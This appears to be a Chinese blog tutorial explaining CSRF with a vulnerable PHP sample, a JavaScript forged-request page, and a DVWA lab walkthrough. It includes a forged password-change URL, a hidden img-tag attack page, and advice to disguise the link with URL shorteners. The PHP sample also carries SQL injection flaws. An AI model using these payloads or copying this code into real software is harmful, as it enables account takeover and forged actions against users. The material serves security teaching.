CSRF漏洞原理淺談
By : Mirror王宇陽
E-mail : [email protected]
筆者并未深挖過CSRF,內容居多是參考《Web安全深度剖析》、《白帽子講web安全》等諸多網路技術文章
CSRF跨站請求攻擊,和XSS有相似之處;攻擊者利用CSRF可以盜用用戶的身份進行攻擊
CSRF攻擊原理
部分摘自《Web安全深度剖析》第十章
當我們打開或登錄某個網站后,瀏覽器與網站所存放的服務器將會產生一個會話,在會話結束前,用戶就可以利用具有的網站權限對網站進行操作(如:發表文章、發送郵件、洗掉文章等),會話借宿后,在進行權限操作,網站就會告知會話超期或重新登錄,
當登錄網站后,瀏覽器就會和可信的站點建立一個經過認證的會話,所有通過這個經過認證的會話發送請求,都被認定為可信的行為,例如轉賬、匯款等操作,當這個會話認證的時間過長或者自主結束斷開;必須重新建立經過認證的可信安全的會話,
CSRF攻擊是建立在會話之上,比如:登錄了網上銀行,正在進行轉賬業務,這是攻擊者給你發來一個URL,這個URL是攻擊者精心構造的Payload,攻擊者精心構造的轉賬業務代碼,而且與你登錄的是同一家銀行,當你認為這是安全的鏈接后點擊進去,你的錢就沒了!
比如想給用戶xxser轉賬1000元,正常的URL是:
secbug.org/pay.jsp?user=xxser&money=1000
而攻擊者構造的URL則是:
secbug.org/pay.jsp?user=hack&money=10000
CSRF漏洞利用
CSRF漏洞常常被用來制作蠕蟲攻擊、SEO流量等
分析漏洞代碼
- 獲取GET引數username和password,然后通過select陳述句查詢是否存在對應的用戶,如果存在通過$_SESSION設定一個session:isadmin=admin ,否則設定session:isadmin=guest
- 判斷session中的isadmin是否為admin,如果isadmin!=admin說明用戶沒有登錄,那么跳轉到登錄頁面,所以只有在管理員登錄后才可以執行用戶的操作
- 獲取POST引數username和password然后插入users表中,完成添加用戶的操作
<?php
session_start();
if (isset($_GET['login'])) {
$con=mysqli_connect("127.0.0.1","root","123456","test");
if (mysql_connect_errno()) {
echo "連接失敗".mysql_connect_errno();
}
$username = addslashes($_GET['username']);
$password = $_GET['password'];
$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['isadmin'] = 'admin';
exit("登錄成功");
} else{
$_SESSION['isadmin'] = 'guest';
exit("登錄失敗");
}
} else{
$_SESSION['isadmin'] = 'guest';
}
if($_SESSION['isadmin'] != 'admin'){
exit("請登錄……");
}
if(isset($_POST['submit'])){
if (isset($_POST['username'])) {
$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
exit($_POST['username']."添加成功");
}
}
?>
這是后臺php原始碼
攻擊者需要做的就是構造一個請求,請求的URL就是php檔案的URL,引數是submit=1&username=1&password=1,請求payload會自動的利用原始碼的特性添加一個用戶
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF漏洞實踐</title>
</head>
<body>
<script type="text/javascript">
var pauses = new Array("16");
var methods = new Array("POST");
var urls = new Array("isadmin.php");
var params = new Array("submit=1&username=1&password=1");
function pausecomp(millis){
var date = new Date();
var curDate = null ;
do{
curDate = new Date();
}while(curDate-date<millis);
}
function run(){
var count = 1 ;
var i = 0 ;
for( i=0 ; i < count ; i ++){
makeXHR(methods[i],urls[i],params[i]);
pausecomp(pausecomp[i]);
}
}
var http_request = false ;
function makeXHR(method , url , paramters){
http_request = false ;
if(window.XMLHttpRequest){
http_request = new XMLHttpRequest() ;
if(http_request.overrideMinmeType){
http_request.overrideMinmeType('text/html');
}
} else if(window.ActiveXObject){
try{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e){
try{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e){ }
}
}
if(!http_request){
alert('Cannot create XMLHTTP instance');
return false;
}
if(method == 'GET'){
if(url.indexOf('?') == -1){
url = url + '?' + paramters;
} else{
url = url + '&' + paramters;
}
http_request.open(method,url,true);
http_request.send("");
} else if(method == 'POST'){
http_request.open(method,url,true);
http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
http_request.setRequestHeader("Content-length",paramters.length);
http_request.setRequestHeader("Connection","close");
http_request.send(paramters);
}
}
</script>
</body>
</html>
DVWA平臺CSRF
筆者找不到比較好的原始碼,于是找到了DVWA~~
Low
-
前端原始碼
<h3>Change your admin password:</h3> <br> <form action="#" method="GET"> New password:<br> <input autocomplete="off" name="password_new" type="password"><br> Confirm new password:<br> <input autocomplete="off" name="password_conf" type="password"><br> <br> <input value=https://www.cnblogs.com/wangyuyang1016/p/"Change" name="Change" type="submit">前端的原始碼非常的簡單,是一個修改密碼的CSRF,表單采用GET方式Change提交
-
后端原始碼
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>可以看見后端接收資料后會驗證兩次密碼是否重復,然后修改密碼~~~
-
構造Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#我們將Payload發送給受害者,受害者處于會話保持(登錄狀態)中,受害者一旦點擊這個URL鏈接,就意味著受害者執行了同樣的操作;這個程序就是CSRF
筆者處于的DVWA使用的登錄密碼,而我的密碼就被改為“123456”
-
重點
這里的攻擊成立是利用受害者的Cookie向服務器發送偽造請求(Payload),如果用戶使用的是一個與xxser.com保持會話登錄的瀏覽器點擊Payload-URL,受害者的密碼就會發生更改,
哦!對了!這么裸露的攻擊Payload在2019年安全意識高端的現代,是不會有人點擊的!這個時候我們就有好玩的一個工具叫:“短鏈接”,百度、新浪的短網址服務都可以!
為了減少圖片內容,我們當密碼修改后的頁面會提示“Password Changed.”
-
高明的做法(從一位前輩copy過來的,忘記鏈接了!)
都知道會出現提示,要想悄悄的修改!可以建立一個攻擊網頁,誘騙受害者訪問
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Payload</title> </head> <body> <img src=https://www.cnblogs.com/wangyuyang1016/p/"http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">404
file not found.
